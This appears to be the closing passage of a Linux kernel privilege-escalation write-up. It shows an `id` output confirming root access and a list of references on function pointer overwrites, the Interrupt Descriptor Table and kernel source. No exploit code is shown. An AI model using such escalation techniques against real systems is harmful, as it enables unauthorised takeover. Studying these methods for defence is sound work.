uid=0(root) gid=1001(test) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashare),1001(test)
#
References
https://www.lazenca.net/pages/viewpage.action?pageId=25624658
https://procdiaru.tistory.com/82
https://kernsec.org/wiki/index.php/Exploit_Methods/Function_pointer_overwrite
https://wiki.osdev.org/Interrupt_Descriptor_Table
https://lugman.org/images/3/3c/Slide-From_local_user_to_root.pdf
[ioctl 정리] http://blog.naver.com/PostView.nhn?blogId=jyh3211&logNo=40131890810 ↩
https://github.com/torvalds/linux/blob/da05b5ea12c1e50b2988a63470d6b69434796f8b/arch/x86/kernel/idt.c#L171 ↩
https://github.com/torvalds/linux/blob/da05b5ea12c1e50b2988a63470d6b69434796f8b/arch/x86/include/asm/desc.h#L44 ↩
https://github.com/torvalds/linux/blob/da05b5ea12c1e50b2988a63470d6b69434796f8b/arch/x86/include/asm/desc_defs.h#L88 ↩
https://github.com/torvalds/linux/blob/da05b5ea12c1e50b2988a63470d6b69434796f8b/arch/x86/include/asm/desc_defs.h#L16 ↩